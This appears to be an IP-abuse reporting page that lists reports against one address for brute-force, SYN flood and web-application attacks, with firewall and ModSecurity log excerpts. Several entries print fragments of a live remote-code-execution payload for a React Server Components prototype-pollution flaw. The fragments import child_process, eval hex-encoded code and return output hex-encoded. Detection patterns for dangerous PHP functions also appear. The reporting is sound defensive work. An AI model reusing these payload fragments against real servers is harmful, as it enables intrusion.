🇹🇷
rtbh.com.tr
2026-01-31 00:11:18
(5 months ago)
list.rtbh.com.tr report: tcp/0
Brute-Force
🇨🇦
Anymous
2026-01-29 02:51:04
(5 months ago)
SYN Flood DDOS
DDoS Attack
🇨🇦
Anymous
2026-01-28 00:52:04
(5 months ago)
SYN Flood
DDoS Attack
🇱🇻
garmtech.com
2026-01-27 13:35:36
(5 months ago)
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js ...
show more
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)
show less
Hacking
🇱🇻
garmtech.com
2026-01-27 12:00:11
(5 months ago)
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js ...
show more
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478) MV:{\\"then\\": \\"$1:__proto__:then\\", \\"status\\": \\"resolved_model\\", \\"reason\\": -1, \\"value\\": \\"{\\\\\\"then\\\\\\": \\\\\\"$B0\\\\\\"}\\", \\"_response\\": {\\"_prefix\\": \\"var reject_bridge = arguments[1]; (Promise.all([Function('return import(\\\\\\"node:child_process\\\\\\")')(), Function('return import(\\\\\\"node:zlib\\\\\\")')()]).then(([cp, zlib]) => { return new Promise((resolve, reject) => { try { var user_code = global[String.fromCharCode(66,117,102,102,101,114)].from('286173796e632066756e6374696f6e28297b636f6e7374206f733d617761697420696d706f727428276f7327293b636f6e73742066733d617761697420696d706f72742827667327293b636f6e737420706174683d617761697420696d706f727428277061746827293b636f6e737420726561643d2870293d3e7b7472797b72657475726e2066732e7265
show less
Hacking
2026-01-27 03:45:05
(5 months ago)
Automatic report - Vulnerability scan
/
Web App Attack
🇫🇷
masterguru
2026-01-27 02:02:16
(5 months ago)
Dangerous PHP function in ARGS. Pattern match "(file_put_contents|include\\\\s+|require\\\\s+|eval\\ ...
show more
Dangerous PHP function in ARGS. Pattern match "(file_put_contents|include\\\\s+|require\\\\s+|eval\\\\s*\\\\()" at ARGS:0. (5023-195)
show less
Hacking
2026-01-26 18:00:00
(5 months ago)
WAF Injection
Hacking
🇫🇮
oh.mg
2026-01-26 16:25:44
(5 months ago)
[Mon Jan 26 17:25:43.951636 2026] [security2:error] [pid 117711:tid 117724] [client 34.61.110.114:38 ...
show more
[Mon Jan 26 17:25:43.951636 2026] [security2:error] [pid 117711:tid 117724] [client 34.61.110.114:38344] [client 34.61.110.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "233"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 60)"] [ver "OWASP_CRS/4.10.0-dev"] [tag "anomaly-evaluation"] [tag "OWASP_CRS"] [hostname "www.mmnbbs.com"] [uri "/"] [unique_id "aXeVh6f0FuEs4DD26yRA3gAAAIQ"]
[Mon Jan 26 17:25:44.025293 2026] [security2:error] [pid 116216:tid 116220] [client 34.61.110.114:38354] [client 34.61.110.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "233"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 60)"] [ver "OWASP_CRS/4.10.0-dev"] [tag "anoma
...
show less
Bad Web Bot
Web App Attack
🇱🇻
garmtech.com
2026-01-26 15:16:48
(5 months ago)
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js ...
show more
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)
show less
Hacking
🇳🇱
Jordy
2026-01-26 04:07:43
(5 months ago)
26/Jan/2026:05:07:42.583039 +0100Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ...
show more
26/Jan/2026:05:07:42.583039 +0100Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 34.61.110.114] ModSecurity: Warning. Pattern match "(?i)\\\\\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "349"] [id "933160"] [msg "PHP Injection Attack: High-Risk PHP Function Call Found"] [data "Matched Data: eval(user_code); Promise.resolve(val).then(function(v) { var res_str = (typeof v === 'object') ? JSON.stringify(v) : String(v); try { res_str = zlib.deflateSync(res_str); } catch(e) {} var res_hex = global[String.fromCharCode(66,117,102,102,101,114)].from(res_str).toString('hex'); reject(Object.assign(new E
...
show less
Web App Attack
2026-01-26 03:30:05
(5 months ago)
Automatic report - Vulnerability scan
/
Web App Attack
🇫🇮
oh.mg
2026-01-26 02:16:38
(5 months ago)
[Mon Jan 26 03:16:38.069337 2026] [security2:error] [pid 962463:tid 962488] [client 34.61.110.114:19 ...
show more
[Mon Jan 26 03:16:38.069337 2026] [security2:error] [pid 962463:tid 962488] [client 34.61.110.114:19732] [client 34.61.110.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "233"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 60)"] [ver "OWASP_CRS/4.10.0-dev"] [tag "anomaly-evaluation"] [tag "OWASP_CRS"] [hostname "oh.ke"] [uri "/"] [unique_id "aXbOhgVuMxbiLK-G4yX-4QAAAVc"]
...
show less
Bad Web Bot
Web App Attack
🇫🇮
oh.mg
2026-01-26 00:56:49
(5 months ago)
[Mon Jan 26 01:56:47.652383 2026] [security2:error] [pid 1466275:tid 1466298] [client 34.61.110.114: ...
show more
[Mon Jan 26 01:56:47.652383 2026] [security2:error] [pid 1466275:tid 1466298] [client 34.61.110.114:61086] [client 34.61.110.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "233"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 60)"] [ver "OWASP_CRS/4.10.0-dev"] [tag "anomaly-evaluation"] [tag "OWASP_CRS"] [hostname "mmnbbs.com"] [uri "/"] [unique_id "aXa7zx1jYuzi_DrkPdxAZgAAAFU"]
[Mon Jan 26 01:56:48.565420 2026] [security2:error] [pid 1466275:tid 1466299] [client 34.61.110.114:61088] [client 34.61.110.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "233"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 60)"] [ver "OWASP_CRS/4.10.0-dev"] [tag "anoma
...
show less
Bad Web Bot
Web App Attack
🇫🇮
Jordy
2026-01-26 00:15:33
(5 months ago)
26/Jan/2026:01:13:49.512688 +0100Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ...
show more
26/Jan/2026:01:13:49.512688 +0100Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 34.61.110.114] ModSecurity: Warning. Pattern match "(?i)\\\\\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "349"] [id "933160"] [msg "PHP Injection Attack: High-Risk PHP Function Call Found"] [data "Matched Data: eval(user_code); Promise.resolve(val).then(function(v) { var res_str = (typeof v === 'object') ? JSON.stringify(v) : String(v); try { res_str = zlib.deflateSync(res_str); } catch(e) {} var res_hex = global[String.fromCharCode(66,117,102,102,101,114)].from(res_str).toString('hex'); reject(Object.assign(new E
...
show less
Web App Attack